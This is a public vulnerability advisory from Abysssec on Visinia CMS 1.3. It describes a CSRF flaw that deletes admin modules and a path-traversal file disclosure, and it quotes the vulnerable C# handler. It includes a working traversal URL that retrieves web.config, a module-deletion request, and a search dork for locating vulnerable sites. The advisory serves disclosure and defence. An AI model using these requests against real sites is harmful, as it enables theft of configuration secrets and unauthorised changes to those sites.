''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 3 (0day) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' Abysssec Inc Public Advisory Title : Visinia Multiple Vulnerabilities Affected Version : Visinia 1.3 Discovery : www.abysssec.com Vendor : http://www.visinia.com/ Download Links : http://visinia.codeplex.com/releases Dork : "Powered by visinia" Admin Page : http://Example.com/Login.aspx Description : =========================================================================================== This version of Visinia have Multiple Valnerabilities : 1- CSRF for Remove Modules 2- LFI for download web.config or any file CSRF for Remove Modules: =========================================================================================== With this vulnerability you can navigate the admin to visit malicious site (when he is already logged in) to remove a Module with a POST request to server. In this path the Module will be removed: http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159 for removing other modules you need to just change ModuleId. The Source of HTML Page (Malicious script) is here: ---------------------------------------------------------------------------------------- Wellcome to My Site! Hello! ... ... ... This page remove Modules in Visinia CMS. ---------------------------------------------------------------------------------------- File Disclosure Vulnerability: =========================================================================================== using this path you can download web.config file from server. http://Example.com/image.axd?picture=viNews/../../web.config The downloaded file is image.axd, while after downloading you find that the content of image.axd is web.config. Vulnerable Code is in this DLL : visinia.SmartEngine.dll and this Method : ProcessRequest(HttpContext context) -------------------------------------------------------------------- public void ProcessRequest(HttpContext context) { if (!string.IsNullOrEmpty(context.Request.QueryString["picture"])) { string fileName = context.Request.QueryString["picture"]; // Give the file from URL string folder = WebRoots.GetResourcesRoot(); try { FileInfo fi = new FileInfo(context.Server.MapPath(folder) + fileName); int index = fileName.LastIndexOf(".") + 1; string extension = fileName.Substring(index).ToLower(); if (string.Compare(extension, "jpg") == 0) { context.Response.ContentType = "image/jpeg"; } else { context.Response.ContentType = "image/" + extension; } context.Response.TransmitFile(fi.FullName); // Put the file in 'Response' for downloading without any check } catch { } } } =========================================================================================== feel free to contact me : shahin [at] abysssec.com